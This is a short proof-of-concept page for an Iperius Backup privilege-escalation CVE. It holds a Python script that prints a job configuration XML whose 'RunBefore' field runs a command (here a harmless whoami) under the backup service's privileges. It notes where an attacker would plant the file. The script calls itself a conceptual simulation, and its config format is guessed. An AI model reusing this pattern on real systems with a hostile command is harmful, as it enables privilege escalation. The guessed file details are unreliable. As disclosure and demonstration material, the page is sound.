CVE-2026-4824 Iperius Backup权限提升漏洞

import os # Proof of Concept (PoC) for CVE-2026-4824 # This script demonstrates how a low-privileged user could potentially # craft a malicious configuration to exploit the improper privilege management. # Note: This is a conceptual simulation based on the vulnerability description. # In a real scenario, the attacker would need to write to the specific config path. def create_malicious_config(): # Simulate the structure of an Iperius Backup configuration file # that triggers the execution of a system command. malicious_xml = """ <IperiusBackupConfiguration> <Job> <Name>Backup_Task_1</Name> <Type>Copy</Type> <!-- Vulnerability: The 'RunBefore' or similar execution parameter is executed with the privileges of the Iperius service (often SYSTEM) without proper validation. --> <RunBefore>C:\Windows\System32\cmd.exe /c whoami > C:\temp\priv_check.txt</RunBefore> <Source>C:\Source\Data</Source> <Destination>D:\Backup</Destination> </Job> </IperiusBackupConfiguration> """ # In a real attack, this content would be written to: # "C:\Program Files\Iperius Backup\Config\[Job_Name].xml" # or a similar location where the application loads job definitions. print("[*] Malicious configuration content generated:") print(malicious_xml) print("[!] If an attacker can write this to the Iperius config directory,") print("[!] the service may execute the command with elevated privileges upon the next run.") if __name__ == "__main__": create_malicious_config()
